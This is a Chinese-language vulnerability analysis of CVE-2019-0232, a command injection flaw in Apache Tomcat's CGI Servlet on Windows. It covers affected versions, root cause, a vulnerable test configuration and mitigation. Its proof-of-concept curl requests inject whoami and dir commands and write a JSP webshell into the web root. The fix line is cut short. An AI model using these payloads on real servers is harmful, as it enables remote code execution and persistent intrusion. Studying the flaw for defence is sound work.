一、漏洞简介

1.1 漏洞背景

Tomcat 的 CGI(Common Gateway Interface)Servlet 允许执行外部脚本程序。虽然 CGI Servlet 在现代 Web 应用中已较少使用,但在一些遗留系统中仍然存在。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2019-0232
危害等级 HIGH / 8.1
漏洞类型 CGI Servlet 远程代码执行漏洞
披露时间 2019-04-15
影响组件 Apache Tomcat 历史
  • CVE 编号:CVE-2019-0232
  • 危害等级:Important(重要)
  • 披露时间:2019年4月
  • 漏洞类型:远程代码执行(RCE)
  • 影响平台:仅影响 Windows 系统

补充核验信息:公开时间:2019-04-15;NVD 评分:8.1(HIGH);CWE:CWE-78。

二、影响范围

2.1 受影响的版本

版本系列 受影响范围
Tomcat 9.x 9.0.0.M1 ~ 9.0.17
Tomcat 8.x 8.5.0 ~ 8.5.39
Tomcat 7.x 7.0.0 ~ 7.0.93

2.2 不受影响的版本

版本系列 修复版本
Tomcat 9.x ≥ 9.0.18
Tomcat 8.x ≥ 8.5.40
Tomcat 7.x ≥ 7.0.94

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 运行在 Windows 平台
  2. CGI Servlet 已启用(默认禁用)
  3. enableCmdLineArguments 设置为 true(非默认值)

三、漏洞详情与原理解析

3.1 漏洞触发机制

该漏洞源于 Java Runtime 在 Windows 平台上处理命令行参数的方式与类 Unix 系统不同。

在 Windows 上,Java 的 Runtime.exec() 方法不会自动处理参数中的特殊字符(如 &|>),而 Windows 命令处理器(cmd.exe)会将这些字符解释为命令连接符或重定向符。

enableCmdLineArguments=true 时,攻击者可以通过 CGI 请求参数注入恶意命令:

http://target/cgi-bin/hello.bat?&dir%20c:\

3.2 源码层面的根因分析(结合源码与补丁对比)

CGI Servlet 中的问题代码org.apache.catalina.servlets.CGIServlet):

// 当 enableCmdLineArguments=true 时
// CGI 参数会被添加到命令行中执行
if (enableCmdLineArguments) {
    // 参数直接传递给 Runtime.exec()
    // 在 Windows 上,这些参数可能包含命令注入字符
    String[] cmdArray = buildCommand(executable, params);
    Runtime.getRuntime().exec(cmdArray);
}

Windows 命令处理差异

// 在 Unix 系统上:
// Runtime.exec(new String[]{"cmd", "& whoami"})
// 会被正确解析为单个参数

// 在 Windows 系统上:
// Runtime.exec(new String[]{"cmd.bat", "& whoami"})
// 可能被 cmd.exe 解释为两个命令

四、漏洞复现(可选)

4.1 环境搭建

<!-- 在 conf/web.xml 中启用 CGI Servlet -->
<servlet>
    <servlet-name>cgi</servlet-name>
    <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
    <init-param>
        <param-name>enableCmdLineArguments</param-name>
        <param-value>true</param-value>  <!-- 漏洞触发条件 -->
    </init-param>
    <init-param>
        <param-name>executable</param-name>
        <param-value>cmd.exe</param-value>
    </init-param>
    <load-on-startup>5</load-on-startup>
</servlet>

<servlet-mapping>
    <servlet-name>cgi</servlet-name>
    <url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>

4.2 PoC 演示与测试过程

命令注入攻击

# 在目标服务器上执行 whoami 命令
curl "http://target:8080/cgi-bin/hello.bat?&whoami"

# 列出 C 盘目录
curl "http://target:8080/cgi-bin/hello.bat?&dir%20c:\\"

# 写入 Webshell
curl "http://target:8080/cgi-bin/hello.bat?&echo%20<%25%20Runtime.getRuntime().exec(request.getParameter(%22cmd%22));%20%25>%20>%20..\webapps\ROOT\shell.jsp"

五、修复建议与缓解措施

5.1 官方版本升级建议

升级至修复版本(9.0.18 / 8.5

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

  • 在完成版本升级前,建议将相关服务限制在可信网络边界内,并最小化暴露面。
  • 对高风险接口、插件或调试功能实施临时下线、访问控制与日志监控。

六、参考信息 / 参考链接

6.1 官方安全通告

  • 暂未找到可直接引用的官方安全通告,请优先关注项目安全公告、发布说明与修复分支。

6.2 其他技术参考资料

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2019-0232
  • CVE:https://www.cve.org/CVERecord?id=CVE-2019-0232
  • http://packetstormsecurity.com/files/153506/Apache-Tomcat-CGIServlet-enableCmdLineArguments-Remote-Code-Execution.html
  • http://seclists.org/fulldisclosure/2019/May/4
  • http://www.securityfocus.com/bid/107906
  • https://access.redhat.com/errata/RHSA-2019:1712
  • https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat/
  • http://target/cgi-bin/hello.bat?&dir%20c:\